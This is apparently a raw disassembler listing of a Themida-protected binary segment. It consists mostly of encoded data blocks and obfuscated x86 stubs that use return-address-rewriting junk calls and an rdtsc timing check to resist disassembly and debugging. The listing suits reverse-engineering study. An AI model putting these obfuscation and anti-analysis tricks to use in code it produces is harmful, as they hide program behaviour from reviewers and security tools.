		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 8B827DC3h, 0D180BAE1h, 46AC68C9h, 7E9A0BAh, 0BA000000h
		dd 5FF4B5A4h, 4813F92h,	45C8F424h, 398D8B5Fh, 5706142Dh
		dd 0CCFABB66h, 6995FF5Bh, 9061411h, 142C758Dh, 0CBB58D06h
		dd 6A061B54h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0D320C351h, 3BE387BBh,	0D1744846h
		dd 13E9h, 0A4625800h, 88E1491Dh, 0E6B1B0A1h, 25238E10h
		dd 0D0636451h, 0C7D98B66h, 67655206h, 55006A6Dh, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
		dd 5172DD1Dh, 60E3731Bh, 0FE8h,	0B1746800h, 325BC362h
		dd 0B69F8908h, 1A5BAB71h, 784CBB66h, 46C7615Fh,	636E6F04h
		dd 0BF0F606Ch, 0F5858BF9h, 6106140Fh, 610846C7h, 1007373h
		dd 1423B5B5h, 8B006A06h, 141009BDh, 0CB858D06h,	6A061B54h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 0CDD9C356h, 0ECC59E90h, 7224BB50h, 489610Eh
		dd 8DB50124h, 0E9061434h, 0Ch, 29FF1F5Fh, 0A638574Fh, 0C3B5112h
		dd 0E4D95FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0EE8A0C3h, 27000000h, 9FAE40A4h
		dd 36F1D905h, 0FFE7A49Ch, 6D38021h, 0A1B5895Fh,	6606141Ah
		dd 0C00BF98Bh, 41840Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0DC6D70C3h, 0EC69220Ch
		dd 60DF8B60h, 5BA5EB81h, 0BD8B0FE4h, 61416EDh, 0D9816161h
		dd 5B0DF33Ch, 402E9h, 68DF8B00h, 0B304E217h, 74B55250h
		dd 0D68B310Fh, 481585Ah, 0FB1F1524h, 13E94Ch, 7AB70000h
		dd 81C01BF0h, 17F02684h, 0ADB00DCBh, 0C57A9A75h, 6995FF40h
		dd 8B061411h, 141D599Dh, 0CBB58D06h, 6A061B54h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0F8ACC352h, 0BC5EEEh, 0C70B76EEh, 34383106h,	55006A36h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 4243BA0Bh, 0D598C63Ah, 0F28166FCh, 8B668FCFh, 0FE8C8h
		dd 9E300000h, 632BB765h, 6725089h, 0BD957ACAh, 128E0F4Eh
		dd 0E8000000h, 0Ch, 0FD99D02Dh,	0A20ADCC3h, 27551C16h
		dd 46C75B5Fh, 342D3704h, 8B27B531h, 142F159Dh, 846C706h
		dd 0
; ---------------------------------------------------------------------------
		mov	edx, [ebp+61419E1h]
		push	0
		push	0
		push	ebx
		call	sub_5BE4EF
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE4EF	proc near		; CODE XREF: Themida_:005BE4E7p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5BE4EF	endp

; ---------------------------------------------------------------------------
		jecxz	short loc_5BE54B
		lea	eax, [di+54CBh]
		sbb	eax, [esi]
		push	0
		push	ebp
		call	sub_5BE513
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE513	proc near		; CODE XREF: Themida_:005BE50Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5BE513	endp

; ---------------------------------------------------------------------------
		retf	4FEDh
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0E5h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		mov	ecx, 5E6F26ADh
		push	eax
		mov	di, cx
		mov	[esp], eax
		call	dword ptr [ebp+6140E4Dh]
		push	0
		push	edi
		call	sub_5BE546
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE546	proc near		; CODE XREF: Themida_:005BE53Ep

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi


loc_5BE54B:				; CODE XREF: Themida_:005BE4FFj
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_5BE546	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 8B00h
; ---------------------------------------------------------------------------
		cli
		or	eax, eax
		jz	loc_5BE594
		mov	cx, di
		jmp	loc_5BE803
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5BE574
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE574	proc near		; CODE XREF: Themida_:005BE56Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5BE574	endp

; ---------------------------------------------------------------------------
		fld	dword ptr [ecx+7Ah]
		pop	edx
		push	ecx
		mov	bl, 2Eh
		fst	dword ptr [edi-77h]
		test	edx, ebp
		xor	al, 14h
		push	es
		pop	edx


loc_5BE594:				; CODE XREF: Themida_:005BE55Bj
		call	loc_5BE59D
		sub	al, 1
; ---------------------------------------------------------------------------
		db 0
		db 0
; ---------------------------------------------------------------------------


loc_5BE59D:				; CODE XREF: Themida_:loc_5BE594p
		pusha
		js	loc_5BE5BE
		call	sub_5BE5BD
; ---------------------------------------------------------------------------
		db 0FEh, 2Dh, 0F1h
		dd 7ED09C22h, 7AA2061Ah, 59307B3Dh, 0D5DDBE84h
		db 0EFh

; =============== S U B	R O U T	I N E =======================================



sub_5BE5BD	proc near		; CODE XREF: Themida_:005BE5A4p

arg_20		= dword	ptr  24h

		pop	ebx


loc_5BE5BE:				; CODE XREF: Themida_:005BE59Ej
		mov	cl, 0D4h
		popa
		push	eax
		mov	ecx, 2A680A05h
		mov	eax, [esp-20h+arg_20]
		call	near ptr loc_5BE5D6+1
		xor	esi, 822255Ah


loc_5BE5D6:				; CODE XREF: sub_5BE5BD+Ep
		sbb	[eax+52h], edx
sub_5BE5BD	endp ; sp-analysis failed

		push	esi
		pop	ebx
		rdtsc
		jnb	$+6
		pop	edx
		pop	eax
		pop	edx
		mov	eax, [eax]
		mov	bx, ax
		mov	[esp+4], eax
		mov	bx, ax
		pop	eax
		jmp	loc_5BE601
; ---------------------------------------------------------------------------
		dd 7455D39Ah, 27F3F16Ch
; ---------------------------------------------------------------------------
		push	cs


loc_5BE601:				; CODE XREF: Themida_:005BE5F3j
		call	dword ptr [ebp+6141169h]
		push	0
		push	edx
		call	sub_5BE612
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE612	proc near		; CODE XREF: Themida_:005BE60Ap

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5BE612	endp

; ---------------------------------------------------------------------------
		and	[ebx-3Eh], ebp
		mov	al, ds:73A1DDB2h
		xor	dword ptr [ebp-75h], 1423D995h
		push	es
		movzx	edx, si
		lea	esi, [ebp+61B54CBh]
		push	0
		push	esi
		call	sub_5BE646
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE646	proc near		; CODE XREF: Themida_:005BE63Ep

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5BE646	endp

; ---------------------------------------------------------------------------
		dw 1F66h
		dd 0CEADEB7Ch, 0F59BDAEh, 68Bh,	11BD2300h, 0C7061426h
		dd 6C694606h, 55006A65h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0A498BF70h, 0F9D0793h, 68Ch, 95858900h
		dd 0C7061429h, 6F6D0446h, 9501636Eh, 6141369h, 6C0846C7h
		dd 6A737361h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 0A947C356h, 31DE8730h,	140649B5h
		dd 0C46C706h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5BE6EB
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE6EB	proc near		; CODE XREF: Themida_:005BE6E3p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 18h
		inc	edx
		push	edx
		retn
sub_5BE6EB	endp

; ---------------------------------------------------------------------------
		jbe	short near ptr loc_5BE712+4
		cmp	[edi+41h], ebx
		or	edx, [ebp+61400FDh]
		push	ecx
		adc	dx, 3E1Fh
		pop	ebx
		push	0
		push	0
		push	esi


loc_5BE712:				; CODE XREF: Themida_:005BE6FBj
		call	sub_5BE71A
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE71A	proc near		; CODE XREF: Themida_:loc_5BE712p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ch
		inc	esi
		push	esi
		retn
sub_5BE71A	endp

; ---------------------------------------------------------------------------
		dw 9B5Ah
		dd 794527D0h, 89786D54h, 1421F985h, 0CB858D06h,	6A061B54h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 0E8B2C356h, 13h, 0C2BC00FAh, 0DF979DFBh
		dd 0E5CE52EDh, 51A59968h, 8B625DE4h, 1422718Dh,	66505A06h
		dd 89695DBAh, 6A2404h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0DE96FC3h, 0CB000000h, 7CFDC8ECh
		dd 0B2FA50C1h, 0F7B5399Fh, 0FF18E380h, 140E4D95h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 0F9A3B4EAh, 0F1C143Bh, 0C00BFEB7h, 12840Fh, 23530000h
		dd 142F0D95h, 10E95F06h, 0BF000000h, 443C0BEDh,	0FFFA19E9h
		dd 0A9C781FFh
		db 11h,	0EDh, 36h
; ---------------------------------------------------------------------------


loc_5BE803:				; CODE XREF: Themida_:005BE564j
		lea	esi, [ebp+61470F0h]
		push	0
		push	eax
		call	sub_5BE814
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5BE814	proc near		; CODE XREF: Themida_:005BE80Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5BE814	endp

; ---------------------------------------------------------------------------
		dd 3BD7AAE6h, 6B7FA85Ah, 0B8h, 0C58D0900h, 0FF06142Ah
		dd 0A5BD8BE6h, 89061416h, 1421D18Dh, 0E8C18B06h, 10h, 4ACC41F3h
		dd 0D33E63AAh, 0C4E4F2B9h, 0B66D5272h, 0CA9B589h, 895F0614h
		dd 140CD9B5h, 0B5C78106h, 68000072h, 1C80h, 19499589h
		dd 295E0614h, 1416D58Dh, 0E8078B06h, 0Fh, 51354D7Fh, 9496BC94h
		dd 0F64BD5Bh, 0FF72340h, 386h, 13DE8000h, 0ABE8815Bh, 662422FEh
		dd 0A214D281h, 0C69CE881h, 8D890662h, 6140FEDh,	860BE881h
		dd 789495Eh, 0EF81E88Ah, 114642D6h, 34A19501h, 0C7810614h
		dd 114642D2h, 880Fh, 0F4E0000h,	1285h, 1FE900h,	982F0000h
		dd 0C07830F4h, 61D00504h, 810D3987h, 9B1408E9h,	0FF83E964h
		dd 8D8EFFFFh, 0D96B3666h, 29E9AFh, 0E49D0000h, 5DCFh, 8	dup(0)
		dd 0E9000000h, 553h, 0FC4E716Bh, 0B709B41Fh, 71C3F8DAh
		dd 26784194h, 0DD2F8E49h, 3B9C14A4h, 7E533082h,	0CC0CE93Bh
		dd 12C4A1F3h, 0C34B57A9h, 0D44D7BDh, 89F0EB58h,	0AFF7C412h
		dd 99C8F5E2h, 8B5222Fh,	0BEFDD9B6h, 0EAD10512h,	66A2313Eh
		dd 4AA24E6Bh, 0DEF906B2h, 0AB2633DFh, 7E55620Eh, 0ABE7CB3Fh
		dd 6E2C9046h, 69BB00D6h, 0A912C491h, 6B76A5FDh,	2800526Dh
		dd 0E8745A60h, 0D50151F1h, 0B0F820E6h, 0F1E7C4AAh, 81B0D851h
		dd 0B15D6276h, 0E08C2DA4h, 93A9E98Bh, 0DEC4CA45h, 6151F1E7h
		dd 0C342E467h, 71995F8Bh, 2CAA87D9h, 4BF3D9DFh,	0DF0751F2h
		dd 72559B47h, 0EE51F24Ch, 4223B8DAh, 0BCFEED8Eh, 5Ah, 884A17D3h
		dd 0CFECE633h, 919CCB23h, 84CA7645h, 51F1E7A0h,	53480A1Eh
		dd 0FEEDF212h, 1ECh, 0C1120300h, 0EFE7B4FCh, 26339DCCh
		dd 576410ADh, 198F3B7Eh, 976495B5h, 77CF7B3Eh, 27963D48h
		dd 0C64017DFh, 0CC6D9F32h, 1307ED73h, 0F31B51F2h, 0FFD7B4C4h
		dd 54ECCF07h, 0C5124902h, 943F4CF8h, 0F30B7D29h, 9108501Ch
		dd 0F1209D80h, 774EE39Fh, 0D2CD8614h, 141F4E5Dh, 0D0A8FAC3h
		dd 0A137CF03h, 821A721Eh, 2D8E4853h, 0FAA27981h, 874D4745h
		dd 0AB188CE3h, 9E3AFF9h, 303CFDAh, 0A52EAD5h, 0E5E5F33h
		dd 0D504919Ch, 80C2E46Bh, 0EDA16A0Bh, 80B4FEh, 0DFAC0000h
		dd 0AE95C4F7h, 4CF8C512h, 0D4AB6D44h, 0B65F7A36h, 65567C87h
		dd 3485501Dh, 0C1259B05h, 9C6C6B81h, 7ED6823Bh,	0C2826327h
		dd 781047B0h, 2F8E4926h, 5A5F7683h, 8837A1AEh, 0B306CFDCh
		dd 0E4D9FA07h, 2988CA2Eh, 89024062h, 0FEEDCCECh, 4B32h
		dd 0C5124900h, 993F4CF8h, 62467A26h, 0F2CB0C20h, 0FA00C8A0h
		dd 51F1E814h, 0C18736A1h, 0E7FDE3E9h, 0E91151F1h, 56D7FA51h
		dd 0A90F3914h, 0C112937Ah, 270A50FCh, 0A351F1E8h, 713EF38Fh
		dd 51A95564h, 0F1AFB622h, 14FFEEDh, 66000000h, 4FFBC012h
		dd 7B279442h, 0CF03D026h, 0B9E840ECh, 0C1112B67h, 932B9245h
		dd 455F744Bh, 2484BC90h, 9B09E5F5h, 8EA5ABF3h, 457E55Eh
		dd 10C794DCh, 32DEDFF8h, 899642DAh, 6FC7734Ah, 313EA8D7h
		dd 0E7C416A5h, 0BC84CCEFh, 65ED0B6h, 45745D58h,	0CD0A577Fh
		dd 0BDEC44F0h, 5F290D53h, 0A78B5806h, 888E56EBh, 58065EA2h
		dd 96418EB6h, 0E9EDF827h, 45B38AD2h, 0E8F5249Bh, 0FED6E615h
		dd 6A16A531h, 0FED8E312h, 2AA875BDh, 195948D2h,	0E57D7863h
		dd 3E94E139h, 0DCE44E7Dh, 5F280E14h, 6CAB5806h,	3AB3CD90h
		dd 103F672Dh, 3EEAD105h, 0E6ECB4CCh, 5806E200h,	369FEC14h
		dd 507FD783h, 0E0AD5CFEh, 8C97C6F7h, 0E11F714Ah, 0F8D8F784h
		dd 1157Ah, 0A5139100h, 0E85D4349h, 497151F1h, 2C6369B1h
		dd 0E257E50Eh, 0C99B72BAh, 1CA132F7h, 0F2315EC5h, 8A4C59C3h
		dd 0D402DF31h, 5C333BE7h, 1197D7D6h, 55608F76h,	1C8E3A81h
		dd 74629AB8h, 0AEB7F547h, 50F8D944h, 40h, 0F8A61367h, 0B61BE8B0h
		dd 0E8674D53h, 537B51F1h, 88B70FBBh, 0F1E87E44h, 7E2A52D1h
		dd 0F1E85238h, 90B2D6D1h, 0FA42F05Dh, 0F1E82EF4h, 88DA0251h
		dd 99AAh, 0C315E200h, 9629AFFCh, 7C6392EAh, 0B1F9A513h
		dd 20CCEDE4h, 50FCBF13h, 2B3160F8h, 0E5116A25h,	9D3B1857h
		dd 861E7622h, 8A70763Eh, 9E5805F0h, 0F0DAC0C6h,	0C6EE5805h
		dd 8895FF2Eh, 3E1B6D4Eh, 57646E98h, 34FC53ABh, 128DB571h
		dd 99DF8B23h, 5806D6B8h, 0DA123014h, 956DBFFCh,	83B20BC8h
		dd 1B630B79h, 0FF33F815h, 96426A5Dh, 0AA11C18Eh, 6C77A6FEh
		dd 3209516Ah, 78525991h, 4FB9E800h, 33A58FAh, 1BA43495h
		dd 18353B83h, 8A641B25h, 6B381062h, 51A95568h, 0A5133B22h
		dd 8EABB1F9h, 57EA44h, 0B71F2CD8h, 45684E54h, 547C580Dh
		dd 498D6ABCh, 3E80C672h, 1A13C0CAh, 766094B6h, 0A530FD45h
		dd 0E1106814h, 0D222F9D1h, 709D2F54h, 0DC9D403h, 0E0F502AEh
		dd 0FCC991D9h, 0E23AE6D7h, 0E157765Ch, 0ACB28AB3h, 0B3E156C6h
		dd 0EB1AB2DAh, 0C88A2C81h, 0C719A234h, 87CFECEAh, 0A9A438B0h
		dd 5F65BD84h, 0F1273259h, 52BCEB83h, 0C44h, 40179B00h
		dd 0BF9411F3h, 0C7002F76h, 0F5CA1260h, 219A3C49h, 4F706875h
		dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch,	33884A57h
		dd 64597A87h, 895233B8h, 4C281E2h, 83000000h, 148704EAh
		dd 24248B24h, 1B3F68h, 243C8900h, 81E38953h, 4C3h, 4EB8300h
		dd 5C241C87h, 52242C89h, 992677BAh, 81DAF726h, 1C3490F2h
		dd 0C0F28141h, 813AA243h, 0BD5180EAh, 3481529Ch, 6B1DB624h
		dd 0F7815F09h, 96B1DB6h, 4EC815Ah, 89000000h, 4832424h
		dd 575D0424h, 6C4BB951h, 4C293713h, 8F590424h, 45810845h
		dd 136C4B08h, 242C8B37h, 81E38953h, 4C3h, 4C38300h, 5C241C87h
		dd 52243C8Bh, 0C281E289h, 4, 4C281h, 14870000h,	7CE95C24h
		dd 8DFFF91Bh, 7FF8D30Fh, 0B875623Bh, 61B61FBh, 0E0FFC503h
		dd 1915F1DDh, 111C0EBEh, 4F4BC774h, 78CBAABFh, 53836A7Ch
		dd 2E2C260Bh, 62C403Ah,	458AB215h, 3823742Ch, 92385B8h
		dd 7FCAF697h, 52698E10h, 787B0069h, 0BE75682h, 15E403Fh
		dd 6EC03AACh, 733F48F5h, 7C320CF4h, 5242CAFEh, 0DA21A80Ah
		dd 52898A4Eh, 0D5ABA80Ah, 536175EAh, 0DB2FA80Ah, 5DBA8A4Eh
		dd 0DB8457AEh, 50518A4Eh, 0D5ABA80Ah, 501875EAh, 0D8CAA80Ah
		dd 509A8A4Eh, 0D974A80Ah, 511C8A4Eh, 0D5ABA80Ah, 2F2575EAh
		dd 313080D4h, 5DC00313h, 0A752B333h, 0B9211C90h, 29D12157h
		dd 2F439176h, 313045D4h, 0A5C00313h, 0A752B332h, 0B920CF90h
		dd 25D12157h, 2F439176h, 313134D4h, 0B1C00313h,	0A752B332h
		dd 0B9207B90h, 31D12157h, 2F439176h, 31329DD4h,	0BDC00313h
		dd 0A752B332h, 0B923F490h, 0DD12157h, 2F439176h, 313217D4h
		dd 89C00313h, 0A752B332h, 0B9228A90h, 5D12157h,	2F439176h
		dd 3133E9D4h, 91C00313h, 0A752B332h, 0B922F090h, 1DD12157h
		dd 0C3439176h, 2A5012B8h, 4ECEDF15h, 4AA86CD2h,	0A2458AFDh
		dd 0C0D5F251h, 0A45EE9F7h, 2AA8ED96h, 29458A15h, 0E367A024h
		dd 0ADBAB496h, 2A54A1D5h, 64C6CB15h, 0D5BA4155h, 63CE75EAh
		dd 6713AAEh, 42848C01h,	2211AB53h, 5D55FFEAh, 3AABA424h
		dd 0C3B9CF9Ch, 0E3A8EDDAh, 0F74586D7h, 0EED744DAh, 0D7CEEAE9h
		dd 26292359h, 0A2B9CFD2h, 6C54A851h, 0A24162ADh, 0EA660351h
		dd 2FEE27BFh, 31117EDBh, 12947513h, 0A0D90201h,	0A45ECFC3h
		dd 0A1EC79AEh, 941AE51h, 6F8222DCh, 73BA8C0Eh, 2ADF1037h
		dd 28C82173h, 2C4FED87h, 2BFD5BEAh, 81508C15h, 0E7930098h
		dd 0FBABAE4Ah, 89EFD2A5h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45EEEB7h
		dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 30BACC15h, 2C40893Ch
		dd 69CE529Eh, 0B99783FCh, 31EFE2A5h, 0A0D9F9FAh, 0A45ECFC3h
		dd 9A0D79AEh, 1A232094h, 81328C55h, 0DF6E2184h,	0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0C2345495h,	0A2458A15h
		dd 0D3BE290Bh, 29439171h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 0CFD77553h, 0A152BC70h, 69CE19CDh, 0B9979BFCh, 31EFE2A5h
		dd 0A0D9F9FAh, 0A45ECFC3h, 9A0D79AEh, 1A232094h, 81328C65h
		dd 0DF6E2184h, 0D629215Dh, 5E000174h, 2A5C6A98h, 21A90140h
		dd 0A1345495h, 0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 0C9953BFDh, 9197B91Dh, 0F2DE0491h
		dd 0A2454A38h, 0D5A82851h, 0A25E0E1Ah, 23EDA851h, 55458A15h
		dd 25862DA0h, 0A2458690h, 32A32851h, 0AA8E4B73h, 4C972337h
		dd 0AE38A1BEh, 4BA8D5D8h, 6BB9CF9Eh, 7F54A093h,	66C6669Eh
		dd 5FDFC8ADh, 0AE38011Dh, 2AA8ED96h, 0E458A15h,	22B769C2h
		dd 62765826h, 78C22FDh,	0A2458AD5h, 25AB54D1h, 0A2459391h
		dd 2A5D1151h, 53B28A15h, 0AF5B7AD4h, 0A2458A1Fh, 0E25610E0h
		dd 91EF4B93h, 577F0391h, 5E380319h, 0D6112330h,	0A24D48DCh
		dd 0A9B82304h, 292576D1h, 57DFA024h, 5E004D19h,	2A54A851h
		dd 229D00B9h, 0E1D4A7B2h, 8860085h, 6F8222DCh, 73BA8C0Eh
		dd 0A7FEF8E1h, 0B9005C9Fh, 0A0855757h, 0DF6E20D6h, 0D629215Dh
		dd 5E000174h, 2A5C6A98h, 21A90140h, 0A1345495h,	0DFCE8260h
		dd 0D6116F5Dh, 0A2458A15h, 2A54AFE9h, 87D77515h, 2652BC7Dh
		dd 28C82045h, 2C4FED87h, 2BF55BEAh, 86949BFBh, 622E8531h
		dd 8050AC59h, 89EFAEA5h, 57DDA42Ch, 0E7CEEBE9h,	229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 294DFF9Eh, 6F93A42Ch, 0A2458AE9h
		dd 0D5FE0451h, 0B664E787h, 868C2357h, 2FEF4917h, 31117EDBh
		dd 0C4947513h, 4CBD28E9h, 88600BEh, 0A358D57Ah,	29247668h
		dd 0E89D5414h, 29108A1Dh, 0D6902BBDh, 0AA300175h, 0ED58D5DAh
		dd 0A2457650h, 80F8A851h, 832818EAh, 0E2DFAE45h, 88558B9h
		dd 6F8232DCh, 71BA8C0Eh, 0E3941037h, 63CF2173h,	262983FBh
		dd 0C3B9F79Ch, 0E3A8EDDAh, 0F74582D7h, 0EED744DAh, 0D7CEEAE9h
		dd 26292359h, 0A2B9CFD2h, 8654A851h, 0CFD775BFh, 0A152BC70h
		dd 637726DDh, 0FCCE25FBh, 5D439150h, 0AAECCE82h, 28EEECE4h
		dd 577F0290h, 5E380319h, 0D6112330h, 0A24D48DCh, 0A9B82304h
		dd 292576D1h, 57DFA024h, 5E004D19h, 2A54A851h, 6B773273h
		dd 0B0D90337h, 0A45ECFC3h, 92327BAEh, 9234B95h,	1FE04FDh
		dd 0DFCC8668h, 6FDFC9ADh, 0AA8743E9h, 0C6DFFD51h, 0C2B94E96h
		dd 0A15CDDDAh, 0E7828668h, 2A54A8ADh, 24FDEC15h, 0A7FFCEB8h
		dd 0B9005C8Fh, 9A875757h, 0E0320A0h, 0FCCE25FBh, 5D439150h
		dd 0ACECCE82h, 89EEECD8h, 57DDA42Ch, 0E7CEEBE9h, 229661ADh
		dd 4ECEDF15h, 4AA86CD2h, 0A2458AFDh, 0C0D5F251h, 0A45EEDDFh
		dd 2AA8ED96h, 29458A15h, 57DFA024h, 91792619h, 2A1E2C5Eh
		dd 89798A15h, 2A162C5Eh, 0CA798A15h, 2A492C5Eh,	13798A15h
		dd 2A382C5Eh, 0F2798A15h, 2A5C2A5Eh, 0FA798A15h, 2A6B2A5Eh
		dd 0D6AC8A15h, 0D554A851h, 0D7BA8660h, 0D5CE2559h, 0F1439177h
		dd 498232DCh, 71BA8C0Eh, 0C3A8EDD8h, 0A2458A42h, 0D558DDAEh
		dd 38C88260h, 2C4FCB5Eh, 74DF0746h, 0D552B332h,	5E0003C6h
		dd 2A5492B8h, 0AE307515h, 0A75CDDAEh, 0B926918Fh, 0B0D9FB57h
		dd 0A45EE9C3h, 6FDD7BAEh, 0A25863E9h, 5FABA851h, 0AA307519h
		dd 497332DCh, 2F168C0Eh, 31377ECBh, 2B967513h, 2ABD5414h
		dd 0C3458A15h, 0E3A8EDDAh, 0BA4582D7h, 3044h, 24E9h, 4272AA00h
		dd 15h,	7 dup(0)
		dd 0D20E900h, 0BC680000h, 0E9061B6Ah, 0FFF91553h, 1B6B9C68h
		dd 1549E906h, 5868FFF9h, 0E9061B6Ch, 0FFF9153Fh, 1B6CF568h
		dd 1535E906h, 5868FFF9h, 0E9061B70h, 0FFF9152Bh, 1B733668h
		dd 1521E906h, 1D68FFF9h, 0E9061B74h, 0FFF91517h, 0ACFEC11Bh
		dd 67B904CFh, 2173488Ah, 0D6289144h, 8DDFDEF9h,	8B4C6454h
		dd 0CE03E032h, 1CBC99EBh, 627451A3h, 73FB0759h,	0D51876Dh
		dd 39A09B58h, 4248C512h, 51F1E85Ch, 68B04870h, 507F3A9Bh
		dd 0C0FFD9E6h, 82A5A178h, 0A88A1884h, 1F8D6979h, 61BD80B0h
		dd 0CA190048h, 468FE62Eh, 7EC65E1Bh, 0EB9726B1h, 585E6493h
		dd 57E6CE29h, 0A5EB97BFh, 5806CEC3h, 0F5EEACCEh, 0F8D90670h
		dd 2F8Eh, 4A17A500h, 0F6002F8Ch, 8A90D888h, 57E50A8Fh
		dd 804D95BDh, 0CC366556h, 60AA486h, 0CD9AF58h, 6FC1F0C9h
		dd 0CEADB8D3h, 751F8D9h, 68000000h, 87B11h, 0C4126800h
		dd 1AE7AFF7h, 0FF5703B8h, 0F1E79379h, 507FA751h, 0BEFDD9E6h
		dd 0BF22906Ch, 0DAE16B00h, 86CE66F4h, 0E60CED80h, 0C202D957h
		dd 0B7091FBCh, 0BCE46897h, 55E8CA10h, 0D1F35807h, 7F4B1AB1h
		dd 2AB3F8D8h, 0CA000000h, 0B1F9A513h, 0E502E8ABh, 0E28EB657h
		dd 260C12DAh, 3A580603h, 0BD9FE312h, 0C8580602h, 76EFE4A6h
		dd 88F8D9D6h, 0C8h, 47C4129Fh, 0F1E85B41h, 46926F51h, 9D49E179h
		dd 0C0C64790h, 51F1E7DAh, 822EC6EEh, 125A6175h,	822E8D45h
		dd 8491FB2Ah, 1176952h,	51F1ED3Fh, 17695284h, 686A9C3Ah
		dd 30FBB53h, 0D9A1E995h, 3B41CA0Ch, 51F1ED55h, 0FDA94169h
		dd 0F73276A5h, 0A557E506h, 0E14F2B7Dh, 0A928F53Dh, 0AC0FC310h
		dd 4571777Dh, 0D55DFADEh, 0E18E65ADh, 2EA64206h, 5CDD302h
		dd 0F7616A2Eh, 3B6A014Ah, 0C416A730h, 0EFCDF0E7h, 38957DE4h
		dd 68BFCDB7h, 0CE00000Ah, 825FB10Eh, 3D1A6C51h,	0F7D42695h
		dd 0AC89DBDEh, 740922Bh, 0E5D8FFB1h, 9E1BB693h,	56696F4Ch
		dd 0CAF2704h, 2026AEBAh, 580D523Ah, 12EC534Eh, 0C9A6F8C5h
		dd 0A35CAE0Dh, 0B1F9A513h, 0E502E8ABh, 0E28EB657h, 602BA9Ch
		dd 0E7A3C558h, 0D9D679ECh, 0C285F8h, 129C0000h,	434BF7C4h
		dd 0E78F757Bh, 7BA351F1h, 0E817A42Eh, 0D13FADDh, 51F1E827h
		dd 0A4C0543Bh, 57C249A1h, 737B27BFh, 0E28E2BA6h, 55175B8Ah
		dd 9A51F20Eh, 502D7F3Ch, 20ED3586h, 70DA09B2h, 24AF664h
		dd 666CA335h, 51F20E80h, 0A5D46C94h, 275E999Fh,	250C57E5h
		dd 0A22F70CCh, 0BC136B17h, 0A1392DF9h, 5905734Fh, 557C4911h
		dd 3160B864h, 0FAC8D2EDh, 0D018405Dh, 97E9D403h, 0C2A01DBAh
		dd 38959A1Bh, 889CAA94h, 0AE000009h, 623F912Eh,	1DFA4C71h
		dd 0D7B406B5h, 8C69BBFEh, 0E720724Bh, 0C5F8DFD1h, 7E3B9673h
		dd 36894F2Ch, 0ECCF07E4h, 68E9Ah, 580D531Ah, 12CC332Eh
		dd 0C9A6F8C5h, 0A35CAE0Dh, 0AFF7C412h, 0E7FBE1E7h, 370F51F1h
		dd 0F1E84B31h, 9F375F51h, 0E86B5157h, 577F51F1h, 25B1BE28h
